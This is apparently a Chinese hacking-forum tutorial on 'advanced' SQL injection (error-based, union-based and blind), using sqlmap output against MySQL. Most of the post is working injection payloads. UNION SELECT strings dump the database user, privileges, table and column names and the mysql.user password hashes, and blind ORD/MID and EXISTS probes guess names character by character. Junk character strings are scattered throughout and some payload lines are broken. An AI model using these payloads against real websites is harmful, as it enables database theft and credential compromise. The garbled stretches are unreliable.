放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
; a% \8 w! f" y) ~8 U9 f g" t- R # K h7 f8 r& I' U |9 F
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
d& k/ g( A' G5 B. _ H9 C
! D/ f. A4 P6 t P3 `分类标准 分类 备注0 g0 q$ s* h9 r' O# x
按字段类型 整型注入,字符型注入
6 t2 {/ I0 r7 J1 L按出现的位置 get注入,post注入,cookie注入,http header注入
2 j6 f; H' Q3 ?/ f6 h- j然而高级注入是这样的
: U: y1 y. A/ D$ u1 p
% q7 k& o; t1 ~+ B; r2 U; j. g高级注入分类 条件( r' Z* H5 x! ~) ^0 z& x" b9 h' d! @
error-based sql 数据库的错误回显可以返回,存在数据库,表结构
% q7 ]. R6 _( H$ n& e# Aunion-based sql 能够使用union,存在数据库,表结构# b! _- ~% X4 x5 n4 ]/ z$ m
blind sql 存在注入4 K3 o% E1 {. E4 C0 r9 ^
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
* d* {- _6 q2 E 8 j: E7 @0 y: r, w! k1 u5 }1 F& X, G
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
1 G; s& c1 K/ A
; c( ^$ @ N+ ~ D' f R+ g附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。3 U9 ]0 A9 ^: v! d& G+ |
7 U: u; t; E7 L; p5 o% z8 l这里用mysql说明& z+ [6 x4 h3 B5 Y2 I
$ Z+ M5 e6 Q: }8 oe注入坛子里很多了,请看戳我或者再戳我
. P5 i% r9 S" G9 d
$ e* G2 h+ @8 X& H2 W1 J, M+ b: Mu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
. R" @; K% O/ Z1 f
2 G" N0 ~" w' i) q获取当前数据库用户名
% S' u1 T& i( q% }+ \, N$ U , O& Y2 n0 o6 S6 q
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C; b0 a4 ~* L1 W- `
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
1 r- _% k- y% ~& H" Q6 g* ?" XL, NULL#, G- Z0 n( \* E
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
* @) g; z' F: k; n# f$ U8 \ ' t- j" k7 p. R4 b6 o4 t
获取数据库名
$ r# i+ ~" }; A( z
# ~# f1 Q6 g0 h8 bUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#% F( h4 P# A- Y
获取所有用户名" c5 W, E1 f) r% q2 E. i
0 o, a) H; M, g. ~
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
5 Y& Y) ~! c' e/ C3 R查看当前用户权限' R4 i2 z; {0 B J$ s' Z. V0 w
' T+ L. k/ M: H `5 s7 ?
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
5 L3 }. |) M" k3 I, ]# X尝试获取密码,当然需要有能读mysql数据库的权限+ _# y) f; b0 y7 s& n
: K3 \% w4 c: rUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#& a, |2 D' R# S1 i+ h' \ ~6 P- y
获取表名,limit什么的自己搞啦
; l: Y! }" w; F
8 U, t" u: b D, {( M. y% HUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#, S H" E v1 Q' I2 p5 d0 N
获取字段名及其类型7 M. t) F% k9 S
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#( a! s# u1 ?1 F$ N6 {
( T! E* K2 T6 h0 u& V5 vb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。- ^& I3 [8 r6 B9 W9 T. n+ U3 T
* L) B R* E% t7 u8 t
如:# o; T- S* p3 K9 z8 m
获取当前用户名
; D" S8 Z$ p7 w1 h, R8 n1 B+ x l 7 l1 C m* n+ z+ W
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116' v+ n5 e: U3 m! O# ~ S# X
获取当前数据库
" R, {- z6 I* R1 a0 E" ?
6 u* ^0 U: i+ e' A9 aAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106! b5 y* |6 t8 B6 T2 X
获取表名
, T; i: v4 C6 y' v
0 H6 w M4 Y' F- F* `: |5 HAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
8 L# Y/ w+ s9 Y8 L获取字段名及其类型和爆内容就不说了,改改上面的就可以了。7 [2 S$ w2 w, x5 }8 v
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。4 S$ Z8 p# `2 B; s' U. f
爆表
) p: t2 w% e0 B3 c
( C5 H4 i4 Z" K( D' w F3 DAND EXISTS(select * from table)
, k) k& H; P+ B5 P: x爆字段
6 ]& j% V; D1 C, @$ r0 Q : H: D+ _( T% M8 C- E
AND EXISTS(select pwd from table)) _2 w& N7 S* d4 G5 H0 Q) `( f' U; v
盲注的变化就比较多了,由于篇幅,只是举个例子而已。! M' {% A0 O7 m0 ~8 H: f
4 @2 R) q6 T% w1 D: U! u: l: o2 B' E0 V本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
& R3 N: \( U3 A n- h |